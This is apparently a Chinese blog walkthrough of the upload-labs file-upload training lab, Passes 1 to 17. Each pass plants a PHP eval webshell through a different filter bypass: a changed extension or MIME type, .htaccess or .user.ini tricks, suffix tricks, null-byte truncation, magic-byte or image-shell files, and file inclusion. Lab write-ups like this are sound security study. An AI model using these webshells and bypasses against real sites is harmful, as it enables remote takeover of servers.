文件上传漏洞练习—upload-labs通关记录(踩坑!!!)

一步步做下来的真实记录,希望能帮助大家,避免踩坑!!!

一个简单的记录,部分关卡需要进行相应配置,均已说明。

目录

Pass-1 (js前端验证)

Pass-2 (MIME验证)

Pass-3 (黑名单验证,特殊后缀)

Pass-4 (黑名单验证,.htaccess)

Pass-5 (黑名单验证,.user.ini)

Pass-6 (黑名单验证,大小写绕过)

Pass-7 (黑名单验证,空格绕过)

Pass-8 (黑名单验证,点号绕过)

Pass-9 (黑名单验证,特殊字符::$DATA绕过)

Pass-10 (黑名单验证,点+空格+点绕过)

Pass-11 (黑名单验证,双写绕过)

Pass-12 (GET方式00截断绕过)

Pass-13 (POST方式00截断绕过)

Pass-14 (文件头检测,文件幻数绕过)

Pass-15 (文件内容检测,图片马绕过)

Pass-16 (文件内容检测,exif_imagetype函数绕过)

Pass-17 (文件内容检测,图片二次渲染绕过)


Pass-1 (js前端验证)

①新建一个文件1.png,写入文件内容:

<?php eval($_POST[pass]);?> 

②上传1.png文件,使用BurpSuite截包,将文件名由"1.png"改为"1.php"

③蚁剑连接


Pass-2 (MIME验证)

①新建一个2.php,写入文件内容:

<?php eval($_POST[pass]);?> 

②上传2.php文件,使用BurpSuite截包,将Content-Type由"application/octet-stream"改为"image/jpeg"或"image/png"或"image/gif"

③蚁剑连接


Pass-3 (黑名单验证,特殊后缀)

注意!!!需要修改phpstudy中的配置文件httpd-conf,找到AddType application/x-httpd-php .php .phtml,取消注释并在这句话后面加上" .php2 .php3 .php4 .php5"

①上传上述2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php2"或"2.php3"等

②蚁剑连接


Pass-4 (黑名单验证,.htaccess)

①新建一个.htaccess文件,写入文件内容

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

②先上传.htaccess文件

③然后上传pass-1中的1.png文件

④蚁剑连接


Pass-5 (黑名单验证,.user.ini)

①新建一个.user.ini文件,写入文件内容:

auto_prepend_file=1.png

②上传.user.ini文件

③上传1.png文件

④注意!!!蚁剑连接../upload/readme.php


Pass-6 (黑名单验证,大小写绕过)

①将"2.php"文件改为"2.Php"文件上传;

   或者直接上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.Php"

②蚁剑连接


Pass-7 (黑名单验证,空格绕过)

①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php "

②蚁剑连接


Pass-8 (黑名单验证,点号绕过)

①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php."

②蚁剑连接


Pass-9 (黑名单验证,特殊字符::$DATA绕过)

①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php::$DATA"

②注意!!!蚁剑连接(连接时删去URL中的::$DATA)


Pass-10 (黑名单验证,点+空格+点绕过)

①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.php. ."

②蚁剑连接


Pass-11 (黑名单验证,双写绕过)

①上传2.php文件,使用BurpSuite截包,将文件名由"2.php"改为"2.pphphp"

②蚁剑连接


Pass-12 (GET方式00截断绕过)

踩坑!!!注意:需要切换phpstudy中php 版本<5.3.4且php的参数magic_quotes_gpc必须关闭。(magic_quotes_gpc关闭操作如下:点击phpstudy中其他选项菜单—>PHP扩展及设置—>参数开关设置—>找到magic_quotes_gpc,确保其没有打勾)

①上传1.png文件,使用BurpSuite截包,将第一行save_path的内容由"=../upload/"改为"=../upload/12.php%00",此处php前的文件名可随便取

②注意!!!蚁剑连接../upload/12.php


Pass-13 (POST方式00截断绕过)

注意!!!跟Pass-12中一样需要先修改phpstudy中的配置

①上传1.png文件,使用BurpSuite截包,找到Content-Disposition,将"../upload/"改为"../upload/13.php+",然后在Hex中找到这个"+"的编码"2b",将其改为"00"

②注意!!!蚁剑连接../upload/13.php


Pass-14 (文件头检测,文件幻数绕过)

注意!!!将前面修改的php版本改回来

①新建一个文件14.png,写入文件内容:

GIF89a
<?php eval($_POST[pass]);?> 

②上传14.png文件,右键查看已上传图像,可以看到上传之后该文件新的文件名为XXX.gif

③点击第14题题目中"文件包含漏洞"的链接

④在打开的新网页的网址../upload-labs/include.php后面加上"?file=upload/XXX.gif"

⑤蚁剑连接../upload-labs/include.php?file=upload/XXX.gif


Pass-15 (文件内容检测,图片马绕过)

①在同一路径下准备一个1.jpg图像文件和前面的2.php文件

②在该路径的cmd下输入以下命令,生成图片马

copy 1.jpg/b + 2.php/a 3.jpg

③上传3.jpg,右键查看已上传图像,可以看到上传之后该文件新的文件名为XXX.jpeg

④点击第15题题目中"文件包含漏洞"的链接

⑤在打开的新网页的网址../upload-labs/include.php后面加上"?file=upload/XXX.jpeg"

⑥蚁剑连接../upload-labs/include.php?file=upload/XXX.jpeg


Pass-16 (文件内容检测,exif_imagetype函数绕过)

注意!!!先开启php_exif模块(点击phpstudy中其他选项菜单—>PHP扩展及设置—>PHP扩展—>找到php_exif,确保其打勾)

①跟Pass-15中的图片马绕过一样


Pass-17 (文件内容检测,图片二次渲染绕过)

①准备一个GIF文件17.gif,上传17.gif,右键查看已上传文件,可以看到上传之后该文件新的文件名为XXX1.gif

②使用010 Editor编辑器,比较17.gif和XXX1.gif,在数据相同的部分插入代码,另存文件172.gif

<?php eval($_POST[pass]);?> 

③上传172.gif,右键查看已上传文件,可以看到上传之后该文件新的文件名为XXX2.gif

④点击第17题题目中"文件包含漏洞"的链接

⑤在打开的新网页的网址../upload-labs/include.php后面加上"?file=upload/XXX2.gif"

⑥蚁剑连接../upload-labs/include.php?file=upload/XXX2.gif


后面的题目学完再继续更新……

参考链接:

1、​​​​​​​文件上传 Upload-labs_ThnPkm的博客-CSDN博客_文件上传upload-labsPass-01不能使用php文件,这里是前端绕过js过滤,有几种方式,但我还是只用能bp实现、将包含webshell的php文件重命名为png,在上传的过程中使用bp拦截并修改后缀,实现绕过js验证Pass-02Pass-03Pass-04Pass-05Pass-06Pass-07Pass-08Pass-09Pass-10Pass-11Pass-12Pass-13Pass-14Pass-15Pass-16Pass-17https://blog.csdn.net/qq_61768489/article/details/122797938?spm=1001.2014.3001.55022、upload-labs通关总结 | 那些年踩过的坑_今天小白努力学习了吗的博客-CSDN博客_uploadlab通关本文就是简单总结一下upload-lab通关方法和踩过的坑,参考的通关教程放在文末,需要的小伙伴去看~https://blog.csdn.net/m0_56691564/article/details/127614557?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-0-127614557-blog-108411415.pc_relevant_3mothn_strategy_recovery&spm=1001.2101.3001.4242.1&utm_relevant_index=33、【小迪安全】web安全个人学习笔记(2)文件上传 - 知乎前言本人学习于B站上的小迪老师的教学视频, 非常感谢小迪老师的慷慨付出。作为网络安全的新人,自己也在一步步看小迪老师的视频学习,我打算把学习过程记录的笔记更新在知乎上面,以更好地保存笔记和分享给大家。…https://zhuanlan.zhihu.com/p/574009032

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值